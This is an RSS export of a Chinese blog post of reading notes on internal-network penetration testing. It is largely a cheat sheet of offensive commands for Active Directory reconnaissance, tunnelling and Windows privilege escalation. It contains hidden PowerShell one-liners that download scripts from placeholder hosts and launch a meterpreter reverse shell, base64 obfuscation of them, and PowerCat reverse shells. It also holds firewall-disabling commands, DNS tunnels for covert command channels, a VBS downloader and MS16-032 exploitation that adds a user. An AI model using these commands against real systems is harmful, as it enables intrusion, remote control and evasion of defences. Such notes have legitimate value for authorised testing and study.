<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>内网渗透 &#8211; ChaBug安全</title>
	<atom:link href="/tags/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Mon, 24 Feb 2020 04:21:02 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>内网安全读书笔记</title>
		<link>/web/1263.html</link>
		
		<dc:creator><![CDATA[syst1m]]></dc:creator>
		<pubDate>Mon, 24 Feb 2020 04:21:02 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[内网渗透]]></category>
		<guid isPermaLink="false">/?p=1263</guid>

					<description><![CDATA[内网安全读书笔记 内网渗透测试基础 局域网(Local Area NetWork LAN) 工作组(Work Group) 域(Domain) 活动目录主要提供以下功能 账号集中管...]]></description>
										<content:encoded><![CDATA[<h1>内网安全读书笔记</h1>
<h2><span class="wpcom_tag_link"><a href="/tags/%e5%86%85%e7%bd%91%e6%b8%97%e9%80%8f" title="内网渗透" target="_blank">内网渗透</a></span>测试基础</h2>
<pre><code class="">局域网(Local Area NetWork LAN)
工作组(Work Group)
域(Domain)
</code></pre>
<p><strong>活动目录主要提供以下功能</strong></p>
<pre><code class="">账号集中管理
软件集中管理
环境集中管理
增强安全性（统一杀毒等）
更可靠、更短的宕机时间
</code></pre>
<ul>
<li>安全域的划分</li>
</ul>
<blockquote><p>
  划分安全域的目的是将一组安全等级相同的计算机划入同一个网段。
</p></blockquote>
<p>网络访问控制策略（NACL）<br />
DMZ（隔离区）</p>
<ul>
<li>主机平台常用工具</li>
</ul>
<p><strong>Kali LInux</strong></p>
<pre><code class="">Wce(windows平局管理器-&gt;列出登陆会话、添加修改列出和删除关联凭据(LM Hash、NTLM hash、明文密码和kerberos票据))

mimikatz

Responder（不仅用于嗅探网络内所有的LLMNR 和获取主机的信息、还提供多种渗透测试环境和场景、包括https、SMB、sql server、ftp、ldap、POP3等）

DSHash(从NTDSXtract中提取用户的易于理解的散列值)

Nishang

Empire

ps_encoder.py(使用base64编码封装的powershell命令包)

smbexec(使用Samba工具的快速Psexec类工具)

后门制造工厂

Veil

Cobalt Strike

</code></pre>
<p><strong>Windows</strong></p>
<pre><code class="">nmap 
wireshark
putty
sqlmap
burp
hydra

Getif(收集snmap设备信息)

Cain&amp;&amp;Abel(密码恢复工具、通过嗅探网络，破解加密密码，恢复无线网络密钥显示密码框、发现缓存中的密码、分析路由信息、恢复各种密码和凭据)
</code></pre>
<h3>Powershell</h3>
<pre><code class="">Get-help/$PSVersionTable.PSVERSION 查看powershellb版本

Get-Executionpolicy 查看执行策略
Restricted 脚本不能运行默认
RemoteSigned 本地可以运行
Allsigned 当脚本由受信任的发布者签名时运行
Unrestricted 允许所有脚本运行

Set-ExecutionPolicy XX 设置执行策略

</code></pre>
<ul>
<li>常用参数</li>
</ul>
<pre><code class="">-ExecutionPolicy Bypass (-Exec Bypass) 绕过执行安全策略

-WindowsStyle Hidden 隐藏窗口

-NonInteractive (-NonI) 非交互模式

-noexit 执行后不退出shell
-NoLogo 启动不显示版权表示的powershell

-enc 允许传入一个base64编码过的powershell脚本字符串作为参数
</code></pre>
<ul>
<li>绕过本地权限并执行</li>
</ul>
<pre><code class="">Powershell.exe -ExecutionPolicy Bypass -File PowerUp.ps1 命令行环境下绕过本地权限执行

powershell.exe -exec bypass -Command "&amp; {import-Module C:\syst1m.ps1; Invoke-AllChecks}"
目标本地执行脚本
</code></pre>
<ul>
<li>下载网络上脚本绕过本地权限执行</li>
</ul>
<pre><code class="">Powershell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet,WebClient).DownloadString("xxx.ps1");[Parameters]

Powershell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet,WebClient).DownloadString("http://xxx.com/ps.ps1"); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.1 -lport 80
</code></pre>
<ul>
<li>使用base64混淆</li>
</ul>
<pre><code class="">echo "IEX(New-ObjectNet,WebClient).DownloadString("http://xxx.com/ps.ps1"); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.1.1 -lport 80 -Force" &gt;raw.txt 

chmod +x ps_encode.py

./ps_encode.py -s raw.txt

Powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc xxxx
</code></pre>
<h2>内网信息搜集</h2>
<h3>收集本机信息</h3>
<pre><code class="">ipconfig /all 获取本机网络配置信息
systeminfo | finder /B /C:"os Version" 操作系统和版本信息

echo %PROCESOR_ArCHITECTURE% 系统系统结构

wmic_product_get_name,version 结果输出到文本

Powershell.exe "Get-WmiObject -class Win32_Product | Select-Object -Property name,version" powershell收集

wmic service list brief 查询本机服务信息

tasklist 当前进程和进程用户

wmic process list brief 进程信息

wmic startup get command,caption 查看启动程序信息

schtasks /query /to LIST /V 查看计划任务

net statistics workstation 查看主机开机时间

net user 查看用户列表

net localgroup administrators 获取本地管理员信息

query user || qwinsta

netstat -ano 查询端口列表

systeminfo 查询补丁列表
wmic qfe get Caption,Descript,HotFixID,InstalledOn 查询补丁

net share 查询本机共享列表
wmic share get name,path,status

route print 查询所有可用接口的ARP缓存表
arp -a 
</code></pre>
<ul>
<li>查询防火墙相关配置</li>
</ul>
<pre><code class="">netsh firewall set opmode disable 关闭防火墙（03之前）

netsh advfirewall set allprofiles state off（关闭防火墙 03之后）

netsh firewall show config 查看防火墙配置

netsh firewall add allowedprogram c:\nc.exe "allow nc" enable(03之前允许指定程序全部连接)

netsh advfirewall firewall add rule name="pass nc" dir=in action=allow programe="C:/nc.exe"(允许指定程序进入（03之后）)

netsh advfirewall add rule name="Allow nc" dir=out action=allow program="c:\nc.exe"(03之后允许指定程序退出)

netsh advifirewall firewall add rule name="Remote Desktop" protocol=Tcp dir=in localport=3389 action=allow 允许3389放行

netsh advifirewall firewall set currentprofile logging filename "C:\windows\temp\fw.log" 自定义防火墙日志存储位置
</code></pre>
<ul>
<li>查看代理配置情况</li>
</ul>
<pre><code class="">reg query "HKEY_CURRENT_USER\Software\Microsoft\windows\CurrentVersion\Internet Setting" 查看127.0.0.1 1080端口情况
</code></pre>
<ul>
<li>查询并开启远程连接服务</li>
</ul>
<pre><code class="">REG QUERY "HKEY_LOCAL_MACHINE|SYSTEM|CurrentControlSet\Control\TerminalServer|WinStation\RDP-TCP" /V PortNumber 查看远程连接端口

WMic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1 03开启3389
</code></pre>
<pre><code class="">server08和12开启远程连接
Wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where call setallowtsconnections 1

Wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminaName='RDP-TCP') call setallowtsconnections 1

red add "HKLM\SYSTEM\CURRENT|CONTROLSET\CONTROL\TERMINAL SERVER" /V fSingleSessionPerUser /t REG_DWORD /d 0 /f
</code></pre>
<ul>
<li>自动收集信息</li>
</ul>
<pre><code class="">http://www.fuzzysecurity.com/scripts/files/wmic_info.rar

wmic脚本自动收集
</code></pre>
<ul>
<li>Empire</li>
</ul>
<pre><code class="">usemoudle situational_awareness/host/winenum 本机用户、域组成员、密码设置时间、共享信息等

situational_awareness/host/computerdetails 模块包含了系统中所有有用的信息
</code></pre>
<h3>查询当前权限</h3>
<ul>
<li>查询当前权限</li>
</ul>
<pre><code class="">whoami 查看当前权限
whoami /all 查询sid
net user XXX /domain 查询指定用户信息
</code></pre>
<ul>
<li>判断是否存在域</li>
</ul>
<pre><code class="">ipconfig /all
</code></pre>
<ul>
<li>查看系统详细信息</li>
</ul>
<pre><code class="">systeminfo
</code></pre>
<ul>
<li>查询当前登陆域及用户信息</li>
</ul>
<pre><code class="">net config workstation
</code></pre>
<ul>
<li>判断主域</li>
</ul>
<pre><code class="">net time/domain
</code></pre>
<h3>探测域内存活主机</h3>
<ul>
<li>NetBIOS</li>
</ul>
<pre><code class="">nbt.exe 192.168.1.1
</code></pre>
<ul>
<li>ICMP</li>
</ul>
<pre><code class="">for /L %I in (1,255) Do @ping -W l -n 192.168.1.%I | findstr "TTL="
</code></pre>
<ul>
<li>ARP</li>
</ul>
<pre><code class="">arp.exe -t 192.168.1.0/20
arp-scan工具

usemodule situational_awarencess/network/arpscan Empire

powershell.exe -exec bypass -Command "&amp; {Import-Moudle c:\arpsacan.ps1};Invoke-Arpscan -CIDR 192.168.1.0/20}" &gt;&gt; c:\log.txt Nishang中的Invoke-ARPScan.ps1
</code></pre>
<ul>
<li>常规TCP/UDP</li>
</ul>
<pre><code class="">ScanLine
</code></pre>
<h3>扫描域内端口</h3>
<ul>
<li>telnet</li>
<li>S扫描器</li>
<li>Metasploit</li>
</ul>
<pre><code class="">auxiliary/scanner.portscan/tcp
</code></pre>
<ul>
<li>PowerSploit的INvoke-portscan.ps1脚本</li>
</ul>
<pre><code class="">powershell.exe -nop -exec -bypass -c "IEX(New-ObjectNet.Webclint).DownloadString('http:xxx.com/a.ps1');Invoke-Portscan"
</code></pre>
<ul>
<li>Nishang的Invoke-PortScan模块</li>
</ul>
<pre><code class="">Invoke-Portscan -StartAddress 192.168.250.1 -EndAddredd 192.168.250.255 -ResolveHost
</code></pre>
<h3>收集域内信息</h3>
<pre><code class="">net view /domain 查询域

net view /domain:HACKE

net group /domain 用户组列表

net group "domain computer" domain 查询所有域成员计算机列表

net accounte /domain 域密码策略

nltest /domain_trusts 域信任信息
</code></pre>
<h3>查找域控制器</h3>
<ul>
<li>查看域控制器机器名</li>
</ul>
<pre><code class="">nltest /DCLIST:hacke
</code></pre>
<ul>
<li>查看域控制器主机名</li>
</ul>
<pre><code class="">NSlookup -type=SRV _ldap._tcp
</code></pre>
<ul>
<li>查看当前时间</li>
</ul>
<pre><code class="">net time /domain
</code></pre>
<ul>
<li>查看域控制器组</li>
</ul>
<pre><code class="">net group "Domain Controllers" /domain
</code></pre>
<ul>
<li>域控制器机器名</li>
</ul>
<pre><code class="">netdom query pdc
</code></pre>
<h3>获取域内用户和管理员信息</h3>
<ul>
<li>查询所有域用户列表</li>
</ul>
<pre><code class="">net user /domain
</code></pre>
<ul>
<li>获取域内用户的详细信息</li>
</ul>
<pre><code class="">wmic useraccount get /all
</code></pre>
<ul>
<li>查看存在的用户</li>
</ul>
<pre><code class="">dsquery user
</code></pre>
<ul>
<li>常用dsquery命令</li>
</ul>
<pre><code class="">dsquery computer 查找目录中的计算机
contact 联系人
subnet 子网
group 组
ou 组织单位
site 站点
server  AD DC/LDS实例
user 用户
quota 配额规定
partition 分区
* 任何对象
</code></pre>
<ul>
<li>查询本地管理员用户</li>
</ul>
<pre><code class="">net localgroup administrators
</code></pre>
<ul>
<li>查询域管理员用户</li>
</ul>
<pre><code class="">net group "domain admins" /domain 域管理员用户

net group "ENterprise Admins" /domain 管理员用户组
</code></pre>
<h3>定位域管理员</h3>
<pre><code class="">net session 看谁使用了本地资源
</code></pre>
<p><strong>psloggedon.exe</strong><br />
<strong>PVEFindADUser.exe</strong><br />
<strong>netsess.exe</strong><br />
<strong>hunter</strong><br />
<strong>Netview</strong><br />
<strong>PowerView</strong></p>
<ul>
<li>psloggedon.exe</li>
</ul>
<blockquote><p>
  原理检查HKEY_USERS的key
</p></blockquote>
<pre><code class="">下载地址
https://docs.microsoft.com/en-us/sysinternals/downloads/psloggedon
</code></pre>
<pre><code class="">psloggedon [-] [-l] [-x] [computer|username]

psloggedon \\DC
</code></pre>
<ul>
<li>PVEFindADUser.exe</li>
</ul>
<pre><code class="">下载地址
https://github.com/chrisdee/Tools/tree/master/AD/ADFindUsersLoggedOn
</code></pre>
<pre><code class="">-current/-current['username'] 所有用户
-last/-last['username'] 最后登陆用户
</code></pre>
<pre><code class="">PVEFindADUser.exe -current
</code></pre>
<ul>
<li>netview.exe(绝大部分功能无需管理员权限)</li>
</ul>
<pre><code class="">下载地址
https://github.com/mubix/netview
</code></pre>
<pre><code class="">netview.exe 参数
</code></pre>
<pre><code class="">-f filename.txt 指定要提取主机列表的文件
-e filename.txt 指定要排除的主机名的文件
-o filename.txt 将所有输出重定向到指定的文件
-d domain 指定要提取主机列表的域
-g group 指定要锁搜的组名
-c 对已找到的共享目录/文件的访问权限进行检查
</code></pre>
<ul>
<li>Nmap的nes脚本(无需管理员权限)</li>
</ul>
<pre><code class="">下载地址
https://nmap.org/nsedoc/scripts/smb-enum-sessions.html
</code></pre>
<ul>
<li>PowerView</li>
</ul>
<pre><code class="">下载地址
https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerView
</code></pre>
<pre><code class="">Invoke-StealthUserHunter 
Invoke-UserHunter
</code></pre>
<ul>
<li>Empire</li>
</ul>
<pre><code class="">usemoudle situational_awareness/network/powerview/user_hunter
</code></pre>
<h3>查找域管理员</h3>
<ul>
<li>本机检查</li>
</ul>
<pre><code class="">net group "Domain Admins" /domain 获取域管理员列表

tasklist /v 列出本机所有进程及进程用户
</code></pre>
<ul>
<li>查询域控制器的域用户会话</li>
</ul>
<pre><code class="">net group "Domain Controllers" /domain 查询域控制器列表

net group "Domain Admins" /domain收集域管理员列表
</code></pre>
<ul>
<li>收集所有活动域的会话列表</li>
</ul>
<pre><code class="">NetSess -h
</code></pre>
<ul>
<li>交叉引用域管理员列表与活动会话列表</li>
</ul>
<blockquote><p>
  确定哪些IP地址有活动域令牌
</p></blockquote>
<p>1.域控制器列表dcs.txt 域管理员列表sessions.txt</p>
<pre><code class="">FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i &amp;&amp; @netsess -h % i 2&gt;null &gt;sessions.txt &amp;&amp; FOR /F %a in (admins.txt) DO @type sessions.txt | @findstr /I %a
</code></pre>
<p>2.脚本</p>
<pre><code class="">https://github.com/nullbind/Other-Projects/tree/master/GDA
</code></pre>
<ul>
<li>查询远程系统中运行的任务（通过共享的本地管理员账户运行）</li>
</ul>
<pre><code class="">net group "Domain Admins" /domain 查询与管理员列表

目标域系统列表添加到ips.txt文件中
收集的域管理员列表添加到names.txt中

FOR /F %i (ips.txt) DO @echo [+] %i &amp;&amp; @tasklist /V /S %i /U user /P password 2&gt;NUL &gt;output.txt &amp;&amp; FOR /F %n in (names.txt) DO @type output.txt | findstr %n &gt;NUL &amp;&amp; echo [!] %n was found running a process on %i &amp;&amp; pause
</code></pre>
<ul>
<li>扫描远程系统的NetBIOS信息</li>
</ul>
<pre><code class="">域系统列表 ips.txt
域管理员列表 admins.txt

for /F % i in (ips.txt) do @echo [+] Checking % i &amp;&amp; nbtstat -A %i 2&gt;NUL &gt;nbsessions.txt &amp;&amp; FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n &gt;NUL &amp;&amp;echo [!] %n was found logged into %i

Nbtscan工具
for /F % i in (ips.txt) do @echo [+] Checking % i &amp;&amp; nbtscan -f %i 2&gt;NUL &gt;nbsessions.txt &amp;&amp; FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n &gt;NUL &amp;&amp;echo [!] %n was found logged into %i
</code></pre>
<h3>域管理员模拟方法</h3>
<ul>
<li>Incognito</li>
</ul>
<h3>PowerView</h3>
<pre><code class="">下载地址
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
</code></pre>
<pre><code class="">Get-NetDomain 获取当前用户所在域的名称
Get-NetUser 获取所有用户的详细信息
Get-NetDomainController 获取所有域控制器的信息
Get-NetComputer 获取域内所有机器的详细信息
Get-NetOU 获取域中的OU信息
Get-NetGroup 获取所有域内组和组成员信息
Get-NetFileServer 根据spn获取当前域使用的文件服务器信息
Get-NetShare 获取域内所有的网络共享信息
Get-NetSession 获取指定服务器的会话
Get-NetRDPSession 获取服务器的远程连接
Get-NetProcess 获取远程主机的进程
Get-UserEvent 获取指定用户的日志
Get-ADObject 获取活动目录的对象
Get-NetGPO 获取域内所有的组策略对象
Get-DomainPolicy 获取域默认策略或控制器策略
Invoke-UserHUNter 获取域用户登陆的计算机信息以及该用户是否有本地管理员权限
Invoke-ProcessHunter 通过查询域内所有的机器进程找到特定用户
Invoke-UserEventHunter 根据用户日志查询某域用户登陆过哪些域机器
</code></pre>
<h3>BloodHound</h3>
<pre><code class="">https://github.com/BloodHoundAD/BloodHound/releases/download/2.0.4/BloodHound-win32-x64.zip
</code></pre>
<pre><code class="">sharphound获取BloodHound需要的信息

https://github.com/BloodHoundAD/BloodHound/blob/master/Ingestors/SharpHound.exe

SharpHound.exe -c all
</code></pre>
<h3>敏感数据的防护</h3>
<ul>
<li>office</li>
</ul>
<pre><code class="">高版本office可通过ProcDump获取密码
</code></pre>
<h2>隐藏通信隧道技术</h2>
<h3>隐藏通信隧道基础知识</h3>
<h4>判断内网连通性</h4>
<ul>
<li>ICMP</li>
</ul>
<pre><code class="">ping xxx.com/192.
</code></pre>
<ul>
<li>TCP</li>
</ul>
<pre><code class="">nc -zv 192.168.1.7 80
</code></pre>
<ul>
<li>http</li>
</ul>
<pre><code class="">curl baidu.com 80
</code></pre>
<ul>
<li>DNS</li>
</ul>
<pre><code class="">nsllokup
nslookup www.baidu.com ip
</code></pre>
<pre><code class="">dig
dig ww.baidu.com -A
</code></pre>
<ul>
<li>代理情况</li>
</ul>
<pre><code class="">ping -n l -a ip
</code></pre>
<h3>网络层隧道（ipv6、icmp）</h3>
<ul>
<li>IPV6</li>
</ul>
<pre><code class="">socat
6tunnel
nt6tunnel
</code></pre>
<ul>
<li>ICMP</li>
</ul>
<pre><code class="">关闭本地icmp应答
Sysctl -w net.ipv4.icmp_echo_ignore_all=1
</code></pre>
<pre><code class="">icmpsh
https://github.com/inquisb/icmpsh.git

PingTunnel
icmptunnel
powershell icmp
</code></pre>
<h3>传输层隧道技术(tcp、udp、常规端口转发)</h3>
<ul>
<li>lcx</li>
</ul>
<pre><code class="">目标机器
lcx.exe -slave 公网主机ip 4444 127.0.0.1 3389

vps
lcx.exe -listen 4444 5555

本地端口转发
lcx -tran 53 目标主机ip地址 3389
</code></pre>
<ul>
<li>netcat(nc)</li>
</ul>
<h4>PowerCat(nc的powershell版本)</h4>
<ul>
<li>导入</li>
</ul>
<pre><code class="">Import-Moudle powercat.ps1
</code></pre>
<ul>
<li>nc正常连接PowerCat</li>
</ul>
<pre><code class="">目标
powercat -l -p 8080 -c cmd.exe -v 

本地
netcat 192.168.130 8080 -vv
</code></pre>
<ul>
<li>nc反向链接PowerCat</li>
</ul>
<pre><code class="">本地
nc -l -p 8888 -vv
目标
powercat -c 192.xxx.xxx.xxx -p 8888 -v -e cmd.exe
</code></pre>
<ul>
<li>PowerCat DNS 隧道</li>
</ul>
<pre><code class="">安装dnscat
cd dnscat2/server/
gem install bundler
bundle install

服务端
ruby dnscat2.rb ttpowercat.test -e open --no-cache

目标机

powercat -c 192.xxx.xxx.xxx -p 53 -dns ttpowercat.test -e cmd.exe
</code></pre>
<ul>
<li>PowerCat 生成payload</li>
</ul>
<pre><code class="">powercat -l -p 8000 -e cmd -v -g &gt;&gt; shell.ps1 上传
powercat -c 10.xxx.xxx.xxx -p 8080 -v 监听

编码
powercat -c xxx.xxx.xxx.xxx -p 9999 -ep -ge
监听
powercat -l -p 9999 -v
</code></pre>
<h3>应用层隧道技术</h3>
<h4>ssh</h4>
<ul>
<li>ssh参数</li>
</ul>
<pre><code class="">-C 压缩传输、提高传输速度
-f 将ssh传输转入后台执行、不占用当前的shell
-N 建立静默链接（建立了连接、但是看不到具体会话）
-g 允许远程主机连接本地用于转发的端口
-L 本地端口转发
-R 远程端口转发
-D 动态转发（SOCKS代理）
-F 指定ssh端口
</code></pre>
<ul>
<li>本地转发</li>
</ul>
<pre><code class=""><br />vps kali linux(192.168.1.4)
web服务器(192.168.1.11/1.1.1.16)
数据库服务器(1.1.1.10)
域控制器(1.1.1.2)

vps上
ssh -CfNg -L 1153(vps端口):1.1.1.10(目标主机):3389（访问端口）

rdesktop 127.0.0.1:1153
</code></pre>
<ul>
<li>远程转发</li>
</ul>
<pre><code class="">web可以访问外网

vps kali linux(1.1.1.4)
web(1.1.1.200)
数据库(1.1.1.10)
域控制器(1.1.1.2)

web服务器上执行
ssh -CfNg -R 3307(vps端口):1.1.1.10（目标主机）:3389 root@192.168.1.4

rdesktop 127.0.0.1:3307
</code></pre>
<ul>
<li>动态转发</li>
</ul>
<pre><code class=""><br />vps kali linux(192.168.1.4)
web服务器(192.168.1.11/1.1.1.16)
数据库服务器(1.1.1.10)
域控制器(1.1.1.2)

ssh -CfNg -D 7000 root@192.168.1.11

浏览器设置代理
</code></pre>
<h4>http/https协议</h4>
<ul>
<li>reGeorg</li>
</ul>
<pre><code class="">https://github.com/sensepost/reGeorg

python reGeorgSocksProxy.py -u http://xxx:8080/tunne;.jsp -p 9999
proxyChains 代理访问
</code></pre>
<ul>
<li>meterpreter</li>
<li>tunna</li>
</ul>
<h4>DNS</h4>
<ul>
<li>查看DNS的连通性</li>
</ul>
<pre><code class="">cat /etc/resoiv.conf|grep -v '#' 查询内部域名及IP地址

nslookup hacks.testlab 内部dns连通性

nklookup baidu.com 外部dns连通性
</code></pre>
<h5>dnscat2(支持多个会话)</h5>
<pre><code class="">https://github.com/iagox86/dnscat2
</code></pre>
<ul>
<li>部署域名解析</li>
</ul>
<pre><code class="">创建A记录
域名A记录指向vps服务器

创建ns记录（设置子域名dns服务器的）
dnsch子域名解析结果指向域名
</code></pre>
<ul>
<li>安装dnscat2服务端</li>
</ul>
<pre><code class="">sudo ruby ./dnscat2.rb vpn.xxx.com -e open -c syst1m.com --no-cache

sudo ruby ./dnscat2.rb --dns server=127.0.0.1,port=533.type=txt --secret=syst1m.com
</code></pre>
<ul>
<li>目标主机安装客户端</li>
</ul>
<pre><code class="">make install 编译

dnscat.exe --ping vpn.xxx.com 测试连通性

dnscat.exe --dns domain=vpn. --secret syst1m.com

dnscat --dns server=ip,port=53,type=txt --secret=syst1m.com
</code></pre>
<ul>
<li>powershell版本</li>
</ul>
<pre><code class="">https://github.com/lukebaggett/dnscat2-powershell

IMport-Moudle .\dnscat2.ps1或者IEX(New-Object System.Net.Webclient).DownloadString('')

开启dnscat2-powershell服务
start-Dnscat2 -Domain vpn.xxx.com --DNSServer 1.x.x.x

IEX加载脚本方式（内存中打开dnscat客户端）
powershell.exe -nop -w hidden -c (IEX(New-Object System.Net.Webclient).DownloadString(''),start-Dnscat2 -Domain vpn.xxx.com --DNSServer 1.x.x.x)
</code></pre>
<ul>
<li>参数</li>
</ul>
<pre><code class="">exec 打开程序
download 下载文件
help 帮助
clear清屏
delay 修改远程响应延时
shell 得到一个反弹shell
kill 切断通道
listen 类似ssh -l参数 listen 0.0.0.0:53 192.168.1.1 3389
ping 用于确认机器是否在线
windows -i 连接某个通道
</code></pre>
<h4>iodine(支持linux、mac、windows)</h4>
<pre><code class="">https://github.com/Al1ex/iodine
</code></pre>
<ul>
<li>安装服务端</li>
</ul>
<pre><code class="">iodined -f -c -P syst1m 192.168.0.1 vpn.xxx.com -Dp
</code></pre>
<ul>
<li>安装客户端</li>
</ul>
<pre><code class="">iodine -f -p syst1m vpn.xxx.com -M 200
</code></pre>
<ul>
<li>使用dns隧道</li>
</ul>
<pre><code class="">mstsc 10.0.0.1:3389
</code></pre>
<h3>SOCKS代理</h3>
<ul>
<li>EarthWorm</li>
</ul>
<pre><code class="">1.正向sockes5服务器
ew -s ssocked -l 888

2. 反弹sockes5服务器(公网vps)
ew -e rcsocks -i 1080 -e 888
ew -s rssocks - d xxx.xxx.xxx.xxx -e 888 (内网web服务器）
</code></pre>
<ul>
<li>reGeorg</li>
<li>sSocks</li>
<li>SocksCap64</li>
<li>Proxifier</li>
<li>ProxyChains</li>
</ul>
<pre><code class="">vi /etc/proxychains.conf
cp /usr/lib/proxychains3/proxyresoly /usr/bin
proxychains firefox
</code></pre>
<h3>压缩数据</h3>
<p>####RAR<br />
&#8211; 以rar格式压缩解压</p>
<pre><code class="">压缩
rar.exe a -k -r- s -m3 E:\webs\1.rar E:|webs

解压
Rar.exe e E:\webs\1.rar
</code></pre>
<ul>
<li>分卷压缩/解压</li>
</ul>
<pre><code class="">压缩
Rar.exe a -m0 -r -v20m E:\test.rar E:\API

解压
Rar.exe x E:\test.part01.rar e:\xl
</code></pre>
<p>####7-zip</p>
<ul>
<li>普通压缩</li>
</ul>
<pre><code class="">压缩
7z.exe a -r -p12345 E:\webs\1.7z e:\webs

解压
7z.exe x -p12345 E:\webs\1.7z -oE:\x
</code></pre>
<ul>
<li>分卷压缩</li>
</ul>
<pre><code class="">压缩
7z.exe -r -vlm -padmin a e:\test.7z E:\API

解压
7z.exe x -padmin E:\test.7z.001 -oE:\xl
</code></pre>
<h3>上传和下载</h3>
<ul>
<li>Ftp上传</li>
</ul>
<pre><code class="">本地vps搭建ftp服务传输
</code></pre>
<ul>
<li>VBS上传</li>
</ul>
<pre><code class="">1.输入命令
    Set Post=CreateObject("Msxm12.XMLHTTP")&gt;&gt;downloads.vbs
    set shell = CreateObject("Wscript.Shell")
    Post.OPen "GET","http://server_ip/target.exe",0
    Post.Send()
    Set aGet = CreateObject(ADODB.stream")
    aGet.Mode = 3
    aGet.Type = 1
    aGet.Open()
    aGet.Write(Post.responseBody)
    aGet.SaveToFile "c:\test\target.exe"

2.执行脚本
    Cscript download.vbs
</code></pre>
<ul>
<li>利用Debug上传(只支持小于64kb文件)</li>
</ul>
<pre><code class="">kali linix位置
/usr/share/windows-binaries
</code></pre>
<pre><code class="">转为十六进制

wine exe2bat.exe ew.exe ew.txt
</code></pre>
<ul>
<li>Nishang</li>
</ul>
<blockquote><p>
  &gt; exetotext.ps1
</p></blockquote>
<pre><code class="">转换
.\ExetoText c:msf.exe c:msf.txt

下载并执行文本文件
Download_Execute http://xxx.xxx.xx.xx/msf.txt
</code></pre>
<ul>
<li>bitsadmin(xp之后自带)</li>
<li>powershell下载</li>
</ul>
<h2>权限提升分析及防御</h2>
<h3>系统内核溢出漏洞提权</h3>
<h4>通过手动执行命令发现缺失补丁</h4>
<ul>
<li>补丁参考</li>
</ul>
<blockquote><p>
  https://github.com/SecWiki/windows-kernel-exploits
</p></blockquote>
<pre><code class="">whoami /groups 查看当前权限
systeminfo 查看补丁
Wmic qfe get Caption,Description,HotFixID,INstalledOn 列出已经安装的补丁

Caption,Description,HotFixID,INstalledOn | findstr /c:"KB3143141"  /c:"KB316902" 查找指定补丁
</code></pre>
<ul>
<li>MS16-032.ps1(KB3139914)</li>
</ul>
<pre><code class="">Invoke-MS16-032 -APPlication cmd.exe -Commandline "/c net user 1 1 /add"

Invoke-MS16-032 -APPlication cmd.exe notpad.exe
</code></pre>
<ul>
<li>利用meatsploit发现缺失补丁</li>
</ul>
<pre><code class="">post/windows/gather/enum_patches模块
</code></pre>
<ul>
<li>Windows Exploit Suggester</li>
</ul>
<pre><code class="">1. systeminfo 获取补丁情况
2. ./windows-exploit-suggester.py --update 下载安全公告数据库
3. pip install xlrd -upgrade 安装xlrd模块
4. ./windows-exploit-suggester.py -d xx.xls -i patches.txt
</code></pre>
<ul>
<li>local_exploit_suggester模块（识别系统中可能被利用的漏洞）</li>
</ul>
<pre><code class="">post/multi/recon/local_exploit_suggester
</code></pre>
<ul>
<li>powershell中Sherlock脚本</li>
</ul>
<pre><code class="">Import-Moudle c:\Sherlock.ps1
Find-AllVulns
</code></pre>
<ul>
<li>Cobalt Strike(3.6以后)</li>
</ul>
<pre><code class="">elevate ms14-058 smb
</code></pre>
<h3>Windows操作系统配置错误利用</h3>
<h4>系统服务权限配置错误</h4>
<ul>
<li>下载地址</li>
</ul>
<pre><code class="">PowerUp
https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
</code></pre>
<ul>
<li>运行脚本</li>
</ul>
<pre><code class="">powershell.exe -exec bypass -Command "&amp; (Import_Moudle .\PowerUp.ps1; Invoke-Allcheck)"

powershell.exe -nop -exec bypass  -c "IEX (New-Object Net.Webclient).DownloadString('http://xxx.com/PowerUp.ps1'); Invoke-Allcheck"
</code></pre>
<ul>
<li>利用C#脚本添加用户(PowerUp的Install-ServiceBinary模块)</li>
</ul>
<pre><code class="">powershell.exe -nop -exec bypass IEX (New-Object Net.Webclient).DownloadString('c:\PowerUp.ps1');Install-ServiceBinary-ServiceName '服务名' -UserName syst1m -Password syst1m
</code></pre>
<ul>
<li>重启系统生效</p>
</li>
<li>
<p>利用msf</p>
</li>
</ul>
<pre><code class="">service_permissions 模块 
利用目标机器上的每一个有缺陷的服务
</code></pre>
<h4>注册表键AlwayslnstallElevated</h4>
<ul>
<li>检测注册表键是否被设置</li>
</ul>
<pre><code class="">powershell.exe -nop -exec bypass IEX (New-Object Net.Webclient).DownloadString("c:/powerupps1");Get-RegisterAlwaysInstallElevated 
</code></pre>
<ul>
<li>生成MSI文件</li>
</ul>
<pre><code class="">Write-UserAddMSI
</code></pre>
<ul>
<li>普通权限运行MSi文件</li>
</ul>
<h4>可信任服务路径漏洞</h4>
<ul>
<li>
<p>检测漏洞</p>
<p>&#8220;`<br />
